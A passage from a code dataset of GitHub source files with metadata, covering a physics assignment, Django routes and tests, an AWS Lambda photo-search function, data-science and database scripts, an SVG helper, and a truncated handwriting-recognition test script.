apt>0: #Check for negetive numbers and fractions\r\n for i in range(apt):\r\n apsum = apsum + a #Loop for calcuating sum of AP\r\n a = a+1.5\r\n print(\"The sum of \" + str(apt)+\" terms of AP is \" + str(apsum))\r\nelse:\r\n print(\"Term number is unacceptable\")\r\n\r\n#Sum of N terms of a GP with common ratio 0.5\r\ng = input(\"Enter the initial value of GP: \") #asking for initial value of GP\r\ng = int(g)\r\ngpt = input(\"Entere the term number of GP: \") #Entering number of terms\r\ngpt = int(gpt)\r\ngpsum = 0\r\nif (gpt - math.floor(gpt))==0 and gpt>0: #Check for negetive numbers and fractions\r\n for i in range(gpt):\r\n gpsum = gpsum + g #Loop for calcuating sum of GP\r\n g = g*0.5\r\n print(\"The sum of \" + str(gpt)+\" terms of GP is \" + str(gpsum))\r\nelse:\r\n print(\"Term number is unacceptable\")\r\n \r\n#Sum of N terms of HP having common difference 0.5\r\nh = input(\"Enter the initial value of HP: \") #asking for initial value of HP\r\nh = float(h)\r\nhpt = input(\"Entere the term number of HP: \") #Entering number of terms\r\nhpt = int(hpt)\r\nhpsum = 0\r\nif (hpt - math.floor(hpt))==0 and hpt>0 and h!=0: \r\n for i in range(hpt):\r\n hpsum = hpsum + h\r\n h = 1/h #Loop for calcuating sum of HP\r\n h = h + 0.5\r\n h = 1/h\r\n print(\"The sum of \" + str(hpt)+\" terms of HP is \" + str(hpsum))\r\nelif h==0:\r\n print(\"Initial number value cannot be zero\")\r\nelse:\r\n print(\"Term number is unacceptable\")\r\n \r\n#Question 3\r\n#N factorial\r\nn = input(\"Enter the number whose factorial you wish to find: \")\r\nn = int(n)\r\ndef factorial(n):\r\n fact = 1\r\n if (n-math.floor(n)) ==0 and n>0: #Check for negetive numbers and fractions\r\n for i in range(1,n+1):\r\n fact = fact*i #Loop for factorial\r\n return fact\r\nif n!=0:\r\n print(\"factorial of \" + str(n) + \" is \" + str(factorial(n))) \r\nif n==0:\r\n print(\"factorial of O is 1\")\r\n\r\n\r\n#Sin x\r\nx = input(\"Enter small x: \" )\r\nx = float(x)\r\nsinx = 0\r\nfor i in range(40):\r\n sinx = sinx + pow(-1,i)*pow(x,2*i+1)/factorial(2*i+1) #Loop for calculating sin(x) by Taylor expansion\r\nif sinx-math.sin(x)<=0.00001:\r\n print(sinx)\r\nelse:\r\n print(\"x ain't small enough\")\r\n\r\n#exp x\r\nx = input(\"Enter small x: \" )\r\nx = float(x)\r\nexpx = 0\r\nfor i in range(10): #Loop for calculating exp(x) by Taylor expansion \r\n expx = expx + pow(x,i)/factorial(i)\r\nprint(expx)\r\n \r\n\r\n\r\n \r\n \r\n\r\n \r\n\r\n","repo_name":"sandeepan-sahoo/P346-Computational-Physics","sub_path":"Assignment 1/Assignment 1.py","file_name":"Assignment 1.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31073299009","text":"from django.urls import re_path, include\n\napp_name = 'api'\n\nurlpatterns = [\n re_path(r'^auth/', include('api.authentication.urls', namespace='auth')),\n re_path(r'^', include('api.dictionary.urls', namespace='dict')),\n re_path(r'^', include('api.pdf.urls', namespace='pdf')),\n re_path(r'^blog/', include('api.blog.urls', namespace='blog')),\n]\n","repo_name":"McCarthyCode/Icon-Syntax-Back-End","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17859036998","text":"\"\"\"\n这是使用paddlehub进行lac分词的代码\n\"\"\"\nimport paddlehub as hub\nimport time\nimport os, json\n\nmodel = hub.Module(name='lac')\n\nif __name__ == '__main__':\n\n if not os.path.exists(\"res/\"):\n os.mkdir('res/')\n while True:\n x = input(\"请输入要分词的字符串:\\n>>\")\n x = [x]\n lac_words = model.lexical_analysis(data={\"text\": x})\n ans = []\n for result in lac_words:\n print(result['word'])\n ans.append(result['word'])\n\n filename = \"res/LAC{}.txt\".format(time.time())\n with open(filename, \"w\") as f:\n f.write(json.dumps(ans, ensure_ascii=False))\n print(\"已保存到文件 {} ！\".format(filename))\n","repo_name":"fslongjin/PaddleLearn","sub_path":"自然语言处理/lac.py","file_name":"lac.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12526413279","text":"\"\"\"The shows app tests.\"\"\"\n\nfrom django.test import TestCase\n\nfrom .models import Band, Genre\n\nDJANGO_REINHARDT = {\n \"nickname\": \"Django Reinhardt\",\n \"description\": (\n \"Jean Reinhardt (23 January 1910 – 16 May 1953), known to all by his gypsy \"\n \"nickname Django (French: [dʒãŋɡo ʁɛjnaʁt] or [dʒɑ̃ɡo ʁenɑʁt]), was a \"\n \"Belgian-born Romani-French jazz guitarist and composer. He was the first jazz \"\n \"talent to emerge from Europe and remains the most significant.\"\n ),\n}\nELLA_FITZGERALD = {\n \"nickname\": \"Ella Fitzgerald\",\n \"description\": (\n \"Ella Jane Fitzgerald (April 25, 1917 – June 15, 1996) was an American jazz \"\n \"singer, sometimes referred to as the First Lady of Song, Queen of Jazz, and \"\n \"Lady Ella. She was noted for her purity of tone, impeccable diction, \"\n \"phrasing, timing, intonation, and a “horn-like” improvisational ability, \"\n \"particularly in her scat singing.\"\n ),\n}\nLOUIS_ARMSTRONG = {\n \"nickname\": \"Louis Armstrong\",\n \"description\": (\n \"Louis Daniel Armstrong (August 4, 1901 – July 6, 1971), nicknamed “Satchmo”, \"\n \"“Satch”, and “Pops”, was an American trumpeter, composer, vocalist, and actor \"\n \"who was among the most influential figures in jazz. His career spanned five \"\n \"decades, from the 1920 to the 1960, and different eras in the history of jazz.\"\n ),\n}\n\n\nclass BandTest(TestCase):\n \"\"\"The band app test case.\"\"\"\n\n def setUp(self):\n \"\"\"Set up shows instances for tests.\"\"\"\n blues, _ = Genre.objects.get_or_create(name=\"Blues\")\n jazz, _ = Genre.objects.get_or_create(name=\"Jazz\")\n swing, _ = Genre.objects.get_or_create(name=\"Swing\")\n django_reinhardt, _ = Band.objects.get_or_create(**DJANGO_REINHARDT)\n ella_fitzgerald, _ = Band.objects.get_or_create(**ELLA_FITZGERALD)\n louis_armstrong, _ = Band.objects.get_or_create(**LOUIS_ARMSTRONG)\n django_reinhardt.genres.add(jazz)\n ella_fitzgerald.genres.add(blues)\n louis_armstrong.genres.add(blues, swing)\n\n def test_band_search(self):\n \"\"\"Test the band search.\"\"\"\n band_queryset = Band.objects.search(\"jazz\").values_list(\"nickname\", \"rank\")\n band_list = (\n (\"Django Reinhardt\", 0.31916170),\n (\"Ella Fitzgerald\", 0.075990885),\n (\"Louis Armstrong\", 0.075990885),\n )\n self.assertCountEqual(band_queryset, band_list)\n","repo_name":"pauloxnet/djangoqueries","sub_path":"shows/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"3"} +{"seq_id":"8734425350","text":"import json\nimport boto3\nimport requests\nfrom requests_aws4auth import AWS4Auth\nfrom stemming.porter2 import stem\nimport inflect\n\np = inflect.engine()\n\n\ndef create_presigned_url(bucket_name, object_name, expiration=3600):\n s3_client = boto3.client('s3')\n try:\n response = s3_client.generate_presigned_url('get_object',\n Params={'Bucket': bucket_name,\n 'Key': object_name},\n ExpiresIn=expiration)\n except ClientError as e:\n logging.error(e)\n return None\n\n return response\n\n\ndef lambda_handler(event, context):\n client = boto3.client('lex-runtime')\n # TODO\n print(event)\n print(\"Test to see if this line is updated via Code pipleline\")\n input_text = event['q']\n\n input_text = input_text.lower()\n # input_text = 'hen and sam'\n s = ' '\n words = input_text.split()\n print(words)\n\n for idx, val in enumerate(words):\n if p.singular_noun(val):\n words[idx] = p.singular_noun(val)\n else:\n words[idx] = val\n s = s.join(words)\n\n response = client.post_text(\n botName='Label_disambiguator',\n botAlias='Label_disambiguator',\n userId='x1',\n inputText=s)\n # print (response)\n labels = []\n if 'intentName' not in response:\n labels = []\n elif response[\"intentName\"] == \"SearchIntent\":\n for slot in response[\"slots\"]:\n e = response[\"slots\"][slot]\n if e is not None:\n labels.append(e)\n\n print(labels)\n # labels=['Sally']\n query_string = ''\n if len(labels) == 1:\n query_string = '(' + labels[0] + ')'\n elif len(labels) > 1:\n query_string = '(' + labels[0] + ')'\n for i in range(len(labels) - 1):\n query_string = query_string + ' OR (' + labels[i + 1] + ')'\n print(query_string)\n\n query = {\n \"size\": 20,\n \"query\": {\n \"query_string\": {\n \"default_field\": \"labels\",\n \"query\": query_string\n }\n }\n }\n\n region = 'us-east-2'\n service = 'es'\n credentials = boto3.Session().get_credentials()\n awsauth = AWS4Auth(credentials.access_key, credentials.secret_key, region, service, session_token=credentials.token)\n host = 'search-photos-7ka2227iannxvqedwmlx62ft7u.us-east-1.es.amazonaws.com'\n index = 'photos'\n url = 'https://search-photos-4thhlt7eispnjuszan4xthlhxa.us-east-2.es.amazonaws.com/photos/_search'\n headers = {\"Content-Type\": \"application/json\"}\n\n request = requests.get(url, auth=awsauth, headers=headers, data=json.dumps(query)).json()\n print(request)\n\n result = request[\"hits\"][\"hits\"]\n\n result_locations = []\n\n for res in result:\n key = res[\"_source\"][\"objectKey\"]\n bucket_name = res[\"_source\"][\"bucket\"]\n labels = res[\"_source\"][\"labels\"]\n s3_url = create_presigned_url(bucket_name, key)\n # s3_url='https://'+bucket_name+'.s3.amazonaws.com/' + key\n\n result_locations.append((s3_url, labels))\n\n print(result_locations)\n response_results_json_list = []\n for result in result_locations:\n response_results_json = {\n \"url\": result[0],\n \"labels\": result[1]\n }\n response_results_json_list.append(response_results_json)\n response = {\n \"results\": response_results_json_list\n }\n\n print(json.dumps(response))\n # return json.dumps(response)\n return response","repo_name":"animeshbhasin1994/Big-Data-Photos-Lambdas-Fns","sub_path":"lf2_a2/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41000913320","text":"import csv\nimport pymysql\n\n# Connexion à la base de données\nconn = pymysql.connect(host='localhost', user='root', password='', db='wow')\n\n# Récupération des 200 premières entrées du fichier CSV\nwith open('../BackEnd/data.csv', 'r', encoding='utf-8') as csvfile:\n reader = csv.DictReader(csvfile)\n data = list(reader)[:200]\n\n# Boucle à travers chaque ligne du fichier CSV\nfor row in data:\n # Vérification si le tmdb_id du film est présent dans la table movie\n cursor = conn.cursor()\n sql = \"SELECT uid FROM movie WHERE tmdb_id = %s\"\n cursor.execute(sql, row['id'])\n result = cursor.fetchone()\n\n # Si le film est présent dans la table movie\n if result:\n movie_uid = result[0]\n\n # Récupération des maisons de production du film\n production_companies = row['production_companies'].split('|')\n\n # Boucle à travers chaque maison de production\n for company in production_companies:\n # Vérification si la maison de production est présente dans la table production\n cursor = conn.cursor()\n sql = \"SELECT uid FROM production WHERE name = %s\"\n cursor.execute(sql, company)\n result = cursor.fetchone()\n\n # Si la maison de production n'est pas présente dans la table production, on l'ajoute\n if not result:\n cursor = conn.cursor()\n sql = \"INSERT INTO production (name) VALUES (%s)\"\n cursor.execute(sql, company)\n conn.commit()\n\n # Récupération de l'id de la maison de production ajoutée\n cursor = conn.cursor()\n sql = \"SELECT uid FROM production WHERE name = %s\"\n cursor.execute(sql, company)\n result = cursor.fetchone()\n\n production_uid = result[0]\n\n # Vérification si l'association movie_uid/production_uid est déjà présente dans la table product\n cursor = conn.cursor()\n sql = \"SELECT id_movie FROM product WHERE id_movie = %s AND id_production = %s\"\n cursor.execute(sql, (movie_uid, production_uid))\n result = cursor.fetchone()\n\n # Si l'association n'est pas présente dans la table product, on l'ajoute\n if not result:\n cursor = conn.cursor()\n sql = \"INSERT INTO product (id_movie, id_production) VALUES (%s, %s)\"\n cursor.execute(sql, (movie_uid, production_uid))\n conn.commit()\n\n# Fermeture de la connexion à la base de données\nconn.close()\n","repo_name":"Hiruurouge/WatchOurMovie","sub_path":"backend/script/db_production_fill.py","file_name":"db_production_fill.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28730634335","text":"from numpy import ndarray\nfrom pandas import DataFrame, read_csv, unique\nfrom matplotlib.pyplot import figure, savefig, show\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neural_network import MLPClassifier\nfrom config_files.ds_charts import (\n plot_evaluation_results,\n bar_chart,\n multiple_bar_chart,\n multiple_line_chart,\n plot_overfitting_study,\n)\nfrom sklearn.naive_bayes import (\n GaussianNB,\n MultinomialNB,\n BernoulliNB,\n CategoricalNB,\n ComplementNB,\n)\nfrom sklearn.metrics import f1_score\nimport os\n\nRANDOM_SEED = 42\n######################################## STARTUP ########################################\nprint(\"Starting up\")\n\ntarget = \"target\"\nIMAGE_PATH = os.path.join(\"data_science_part/images/mlp/\")\n\ntrain: DataFrame = read_csv(\n os.path.join(\"data_science_part/data/weather_train_70_after_prep.csv\")\n)\ntrnY: ndarray = train.pop(target).values\ntrnX: ndarray = train.values\nlabels = unique(trnY)\nlabels.sort()\n\ntest: DataFrame = read_csv(\n os.path.join(\"data_science_part/data/weather_test_30_after_prep.csv\")\n)\ntstY: ndarray = test.pop(target).values\ntstX: ndarray = test.values\n\n######################################## Different models MLP ########################################\nprint(\"Testing different MLP models\")\nhidden_layer = (64, 32)\nestimators = {\n activation: MLPClassifier(\n hidden_layer_sizes=hidden_layer, activation=activation, random_state=RANDOM_SEED\n )\n for activation in [\"identity\", \"logistic\", \"tanh\", \"relu\"]\n}\n\nxvalues = []\nyvalues = []\nfor clf in estimators:\n print(\"Testing: \", str(clf))\n xvalues.append(clf)\n estimators[clf].fit(trnX, trnY)\n prdY = estimators[clf].predict(tstX)\n yvalues.append(f1_score(tstY, prdY))\n\nfigure()\nbar_chart(\n xvalues,\n yvalues,\n title=f\"MLP Models with {hidden_layer} hidden layers, using different activations\",\n ylabel=\"F1 score\",\n percentage=True,\n)\nsavefig(os.path.join(IMAGE_PATH, \"mlp_study.png\"))\n\n######################################## Overfitting ########################################\nprint(\"Overfitting study\")\n\n\nactivation = \"relu\"\neval_metric = f1_score\ny_tst_values = []\ny_trn_values = []\nns = [1] + list(range(100, 1501, 100))\nfor n in ns:\n print(f\"Testing: epochs={n}\")\n knn = MLPClassifier(\n hidden_layer_sizes=hidden_layer,\n activation=activation,\n random_state=RANDOM_SEED,\n max_iter=n,\n tol=1e10,\n n_iter_no_change=5 * n,\n )\n knn.fit(trnX, trnY)\n prd_tst_Y = knn.predict(tstX)\n prd_trn_Y = knn.predict(trnX)\n y_tst_values.append(eval_metric(tstY, prd_tst_Y))\n y_trn_values.append(eval_metric(trnY, prd_trn_Y))\n\nplot_overfitting_study(\n ns,\n y_trn_values,\n y_tst_values,\n name=f\"MLP with {hidden_layer} hidden layers and relu activation\",\n xlabel=\"Training epochs\",\n ylabel=\"F1 Score\",\n path=os.path.join(IMAGE_PATH, f\"overfitting_mlp.png\"),\n)\n\n######################################## Best model ########################################\n\nprint(\"Best MLP model\")\nclf = MLPClassifier(\n hidden_layer_sizes=hidden_layer,\n activation=\"relu\",\n random_state=RANDOM_SEED,\n) # Best model from the plot above\nclf.fit(trnX, trnY)\nprd_trn = clf.predict(trnX)\nprd_tst = clf.predict(tstX)\nplot_evaluation_results(labels, trnY, prd_trn, tstY, prd_tst, rotation=\"horizontal\")\nsavefig(os.path.join(IMAGE_PATH, \"mlp_best.png\"))\n","repo_name":"TiagoLourinho/data-science-project","sub_path":"data_science_part/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23413991906","text":"import math\nx_y_n = {}\neps = 0;\n\ndef toFixed(f: float, n=0):\n a, b = str(f).split('.')\n return '{}.{}{}'.format(a, b[:n], '0'*(n-len(b)))\n\ndef func(x):\n res = 0.0\n reference = math.log(1-x)\n n = 1\n while int(res * eps) != int(reference * eps):\n res -= (x ** n) / n\n n += 1\n x_y_n.update({x:[res,n]})\n\nepsilon = int(input(\"Input epsilon: \"))\ndx = float(input(\"Input dx: \"))\neps = 10 ** epsilon\ni = -1.0\nwhile (i >= -1.0 and i < 1.0):\n func(i)\n i += dx\nprint(\" X\\t\\t|\\tln(1 - x)\\t|\\tn\")\nprint(\"----------------------------------------------------------\")\nfor i in x_y_n.keys():\n print(toFixed(i,epsilon),\"\\t|\\t\",toFixed(x_y_n[i][0],epsilon),\"\\t|\\t\",x_y_n[i][1])","repo_name":"alekon28/programming-term-2","sub_path":"laba_3_1_task_2py/laba_3_1_task_2py/laba_3_1_task_2py.py","file_name":"laba_3_1_task_2py.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"71347508562","text":"import pathlib\nimport typing\n\nimport pytest\n\nfrom testsuite.databases.pgsql import discover\n\npytest_plugins = ['pytest_userver.plugins.postgresql']\n\n\n@pytest.fixture(scope='session')\ndef service_source_dir():\n return pathlib.Path(__file__).parent.parent\n\n\n@pytest.fixture(scope='session')\ndef initial_data_path(\n service_source_dir,\n) -> typing.List[pathlib.Path]:\n \"\"\"Path for find files with data\"\"\"\n return [\n service_source_dir / 'postgresql/data',\n service_source_dir,\n ]\n\n\n@pytest.fixture(scope='session')\ndef pgsql_local(service_source_dir, pgsql_local_create):\n \"\"\"Create schemas databases for tests\"\"\"\n databases = discover.find_schemas(\n 'testdb',\n [service_source_dir.joinpath('postgresql/schemas')],\n )\n return pgsql_local_create(list(databases.values()))\n","repo_name":"userver-framework/uservice-dynconf","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"3"} +{"seq_id":"41781820318","text":"from collections.abc import Generator\nfrom contextlib import contextmanager\n\nfrom sqlalchemy import StaticPool\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.orm import sessionmaker\n\nengine = create_engine(\n \"sqlite://\",\n connect_args={\"check_same_thread\": False},\n poolclass=StaticPool,\n echo_pool=True,\n echo=True,\n)\n\n_Session = sessionmaker(engine)\n\n\n@contextmanager\ndef yield_auto_rollback_session() -> Generator[Session, None, None]:\n session = _Session()\n try:\n yield session\n finally:\n session.rollback()\n session.close()\n","repo_name":"gregoiredx/fastapi-start","sub_path":"tests/in_test_database.py","file_name":"in_test_database.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17157342506","text":"# (c) Marçal Comajoan Cara 2022\n# For the FRAME Project.\n# Licensed under the MIT License (see https://github.com/jordicf/FRAME/blob/master/LICENSE.txt).\n\nimport unittest\n\nfrom tools.hello.hello import hello\n\n\nclass TestHello(unittest.TestCase):\n def test_hello(self):\n self.assertEqual(hello(), \"Hello!\")\n self.assertEqual(hello(\"Marçal\"), \"Hello Marçal!\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jordicf/FRAME","sub_path":"tests/hello/test_hello.py","file_name":"test_hello.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"40506633894","text":"# SvgDocument\n# -----------\n#\n# SVGDocument is a handy wrapper around xml.dom.minidom which allows us\n# to quickly build XML structures. It is largely inspired by the SVG class\n# of the [svgfig](http://code.google.com/p/svgfig/) project, which was\n# used by one of the earlier versions of Kartograph.\n#\n\nimport base64\nimport sys\nfrom xml.dom import minidom\nfrom xml.dom.minidom import parse\nimport re\n\"\"\"\ndef main():\n svg = SvgDocument()\n xmlDom = minidom\n xmlDom.Document.appendChild()\n\n str = svg.toBase64()\n\n\n\n sys.stdout.write(str)\n sys.stdout.flush()\n\nif __name__ == '__main__':\n main()\n\"\"\"\n\ndef _add_attrs(node, attrs):\n for key in attrs:\n node.setAttribute(key.replace('__', '-'), str(attrs[key]))\n\n\ndef _get_label_position(geometry, pos):\n if pos == 'centroid' and not (geometry is None):\n pt = geometry.centroid\n return (pt.x, pt.y)\n else:\n #raise KartographError('unknown label positioning mode ' + pos)\n pass\n\ndef _apply_default_label_styles(lg):\n if not lg.getAttribute('font-size'):\n lg.setAttribute('font-size', '12px')\n if not lg.getAttribute('font-family'):\n lg.setAttribute('font-family', 'Arial')\n if not lg.getAttribute('fill'):\n lg.setAttribute('fill', '#000')\n\n\n\n\nclass SvgDocument(object):\n # Of course, we need to create and XML document with all this\n # boring SVG header stuff added to it.\n def __init__(self, **kwargs):\n imp = minidom.getDOMImplementation('')\n dt = imp.createDocumentType('svg',\n '-//W3C//DTD SVG 1.1//EN',\n 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd')\n self.doc = imp.createDocument('http://www.w3.org/2000/svg', 'svg', dt)\n self.root = svg = self.doc.getElementsByTagName('svg')[0]\n svg.setAttribute('xmlns', 'http://www.w3.org/2000/svg')\n svg.setAttribute('version', '1.1')\n svg.setAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink')\n _add_attrs(self.root, kwargs)\n return None\n\n # This is the magic of SvgDocument. Instead of having to do appendChild()\n # and addAttribute() for every node we create, we just call svgdoc.node()\n # which is smart enough to append itself to the parent if we specify one,\n # and also sets all attributes we pass as keyword arguments.\n def node(self, name, parent=None, **kwargs):\n el = self.doc.createElement(name)\n\n _add_attrs(el, kwargs)\n if parent is not None:\n parent.appendChild(el)\n return el\n\n\n # This is the magic of SvgDocument. Instead of having to do appendChild()\n # and addAttribute() for every node we create, we just call svgdoc.node()\n # which is smart enough to append itself to the parent if we specify one,\n # and also sets all attributes we pass as keyword arguments.\n def nodeFromObject(self, name, parent=None, **kwargs):\n el = self.doc.createElement(name)\n _add_attrs(el, kwargs)\n if parent is not None:\n parent.appendChild(el)\n return el\n\n\n # Sometimes we also need a <[CDATA]> block, for instance if we embed\n # CSS code in the SVG document.\n def cdata(self, data, parent=None):\n cd = minidom.CDATASection()\n cd.data = data\n if parent is not None:\n parent.appendChild(cd)\n return cd\n\n # Here we finally write the SVG file, and we're brave enough\n # to try to write it in Unicode.\n def write(self, outfile, pretty_print=False):\n if isinstance(outfile, (str, unicode)):\n outfile = open(outfile, 'w')\n if pretty_print:\n raw = self.doc.toprettyxml('utf-8')\n else:\n raw = self.doc.toxml('utf-8')\n try:\n raw = raw.encode('utf-8')\n except:\n #print 'warning: could not encode to unicode'\n pass\n\n outfile.write(raw)\n outfile.close()\n\n # Don't blame me if you don't have a command-line shortcut to\n # simply the best free browser of the world.\n def preview(self, command, pretty_print=False):\n import tempfile\n tmpfile = tempfile.NamedTemporaryFile(suffix='.svg', delete=False)\n self.write(tmpfile, pretty_print)\n #print 'map stored to', tmpfile.name\n from subprocess import call\n call([command, tmpfile.name])\n\n def toString(self, pretty_print=False):\n if pretty_print:\n return self.doc.toprettyxml()\n return self.doc.toxml()\n\n def toBase64(self):\n docSource = ''\n docSource = self.doc.toxml()\n encStr = base64.b64encode(docSource.encode())\n return encStr\n\n def fromBase64(self, encStr):\n pass\n\n # This is an artifact of an older version of Kartograph, but\n # maybe we'll need it later. It will load an SVG document from\n # a file.\n @staticmethod\n def load(filename):\n svg = SvgDocument()\n dom = parse(filename)\n svg.doc = dom\n svg.root = dom.getElementsByTagName('svg')[0]\n return svg\n\n","repo_name":"larscwallin/ExtractElements","sub_path":"SvgDocument.py","file_name":"SvgDocument.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"19387045933","text":"# %%\r\nfrom numba import njit, prange, float64, int32\r\nfrom pylab import np\r\nfrom datetime import time\r\nfrom numba.experimental import jitclass\r\n\r\n\r\n# %%\r\n@njit(nogil=True)\r\ndef friction_fn(v, vt):\r\n if v > vt:\r\n return - v * 3\r\n else:\r\n return - vt * 3 * np.sign(v)\r\n\r\n\r\n@jitclass(\r\n spec=[\r\n ('value', float64),\r\n ('list', float64[:]),\r\n ]\r\n)\r\nclass Parameter_Holder:\r\n def __init__(self):\r\n self.value = 100\r\n self.list = np.zeros(3, dtype=np.float64)\r\n\r\n\r\n@njit(nogil=True)\r\ndef simulate_spring_mass_funky_damper(x0, T=10, dt=0.0001, vt=1.0):\r\n times = np.arange(0, T, dt)\r\n positions = np.zeros_like(times)\r\n\r\n # param = Parameter_Holder()\r\n\r\n v = 0\r\n a = 0\r\n x = x0\r\n positions[0] = x0/x0\r\n\r\n for ii in range(len(times)):\r\n if ii == 0:\r\n continue\r\n t = times[ii]\r\n # a = friction_fn(v, vt) - param.value*x + param.list[0] + param.list[1]\r\n a = friction_fn(v, vt) - 100*x;\r\n v = v + a*dt\r\n x = x + v*dt\r\n positions[ii] = x/x0\r\n return times, positions\r\n\r\n\r\n# compile\r\n_ = simulate_spring_mass_funky_damper(0.1)\r\n\r\n@njit(nogil=True, parallel=True)\r\ndef run_sims(end=1000):\r\n for x0 in prange(int(end/0.1)):\r\n if x0 == 0:\r\n continue\r\n simulate_spring_mass_funky_damper(x0*0.1)\r\nrun_sims()\r\n\r\n\r\n\r\n# %%\r\n# %%time\r\nrun_sims()\r\nrun_sims.parallel_diagnostics(level=4)\r\n\r\n# %%\r\n","repo_name":"Dieselmarble/ACMSimPy-GPU","sub_path":"parallel-example.py","file_name":"parallel-example.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13410928395","text":"import os\nfrom core_logic.htr_word.htr_word_operation_manager import recognition_process\nfrom endtoend_testing_report import output_jpn,output_english\nimport base64\nimport sys\nimport csv\nimport cv2\n# directory = \"/home/jayesh/Rawattech/HTR_project/endtoend_testing/TEST_DIR/\"\n# output_path = \"/home/jayesh/Rawattech/HTR_project/English segment/English segment_upda/segmentation\"\n# operation_dict={'E':english(path=sys.argv[2]) , 'J':math(path=sys.argv[2])}\n\n# def math():\n# seg_expected = {\n# \"New folder\":1,\"NON_BLANK_non_unitsDIGITv2\":1, \"Non_Blank_v2\":3, \"image20201105\":2\n# }\n# obj_expected= {\"New folder\":1,\"NON_BLANK_non_unitsDIGITv2\":1, \"Non_Blank_v2\":3, \"image20201105\":1}\n# folders = os.listdir(r\"E:\\phase2_data\\phase2\\math_sample/\")\n# for x in folders:\n# image_name_lst = []\n# expected_seg_all, text_all, sp_image_all, Unit_image_all, segments_all, object_count_all, recog_all, conf_all = [],[],[],[],[],[],[],[]\n# img_dir = r\"E:\\phase2_data\\phase2\\math_sample/\"+x+\"/\"\n# for i in os.listdir(img_dir):\n# try:\n# # image = cv2.imread(img_dir+i)\n# with open(img_dir+i, \"rb\") as img_file:\n# my_string = base64.b64encode(img_file.read())\n \n# recog,conf, text, sp_image, Unit_image, segments, object_count =recognition_process(\"M\",my_string,i)\n# image_name_lst.append(img_dir+i)\n# expected_seg_all.append(seg_expected[x])\n# text_all.append(text)\n# sp_image_all.append(sp_image)\n# Unit_image_all.append(Unit_image)\n# segments_all.append(segments)\n# object_count_all.append(object_count)\n# recog_all.append(recog)\n# conf_all.append(conf)\n# except Exception as e:\n# print(e)\n# excel_name = x+\".xlsx\"\n# output_math(image_name_lst,segments_all,excel_name,x,obj_expected[x],object_count_all,text_all,sp_image_all,Unit_image_all,seg_expected[x],recog_all,conf_all)\n\n# print(image_name_lst,text_all, sp_image_all, Unit_image_all, segments_all)\n\ndef english(path):\n folders = os.listdir(path)\n image_name_lst = []\n expected_seg_all, text_all, sp_image_all, Unit_image_all, segments_all, recog_all, conf_all,x_all = [],[],[],[],[],[],[] , []\n counter_excel = 0\n image_counter= 0\n for x in folders:\n img_dir = path+x+\"/\"\n for i in os.listdir(img_dir):\n print(i)\n # image = cv2.imread(img_dir+i)\n with open(img_dir+i, \"rb\") as img_file:\n image = base64.b64encode(img_file.read())\n #expected_seg_all.append(len(x))\n try:\n Recognized_text_string, confidence_score_list, text, segments =recognition_process(\"E\",image,i)\n image_name_lst.append(img_dir+i)\n text_all.append(text)\n x_all.append(x)\n #sp_image_all.append(sp_image)\n #Unit_image_all.append(Unit_image)\n segments_all.append(segments)\n #object_count_all.append(object_count)\n recog_all.append(Recognized_text_string)\n conf_all.append(confidence_score_list)\n image_counter+=1\n excel_name = \"english_\"+str(counter_excel)+\".xlsx\"\n if image_counter == 500:\n output_english(image_name_lst,segments_all,excel_name,x_all,recog_all,conf_all,text_all)\n expected_seg_all, text_all, sp_image_all, Unit_image_all, segments_all, recog_all, conf_all ,x_all= [],[],[],[],[],[],[],[]\n image_name_lst = []\n counter_excel += 1\n image_counter = 0\n elif os.listdir(path+folders[-1])[-1] == i:\n output_english(image_name_lst,segments_all,excel_name,x_all,recog_all,conf_all,text_all)\n except Exception as e:\n print(e)\n \n\n\ndef jpn(path,reading_direction):\n count=1\n folders = os.listdir(path)\n image_name_lst = []\n Od_output_llist=[]\n lst1 = []\n lst2 = []\n expected_seg_all, text_all, sp_image_all, expected_all, segments_all, recog_all, conf_all = [],[],[],[],[],[],[]\n for x in folders:\n img_dir = path+x+\"/\"\n with open(img_dir+\"char.txt\", \"r\",encoding=\"utf-8\") as f:\n expected=f.read()\n expected=str(expected)\n len_expected=len(expected)\n for i in os.listdir(img_dir):\n print(i)\n with open(img_dir+i, \"rb\") as img_file:\n my_string = base64.b64encode(img_file.read())\n \n #expected_seg_all.append(len(x))\n try:\n if i!=\"char.txt\" and i!=\"Thumbs.db\":\n\n 